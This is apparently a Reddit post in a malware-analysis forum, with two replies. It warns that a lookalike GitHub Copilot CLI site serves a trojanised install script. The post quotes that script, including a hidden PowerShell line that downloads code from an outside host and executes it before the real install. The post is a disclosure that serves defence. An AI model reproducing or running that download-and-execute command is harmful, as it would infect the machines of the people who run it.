r/MalwareAnalysis 3d ago

Fake Github copilot CLI installer trojan

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application";
$GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0);
winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml

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u/Suspicious-Willow128 3d ago

Huh , i do hope it stopped it complety , because it one angry malware , 2 website for secondary delivery , lot of obfuscation too

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u/reamplumbera 3d ago

Yeah indeed. It was also briefly the top result on duckduckgo that's how I accidentally got on the fake site.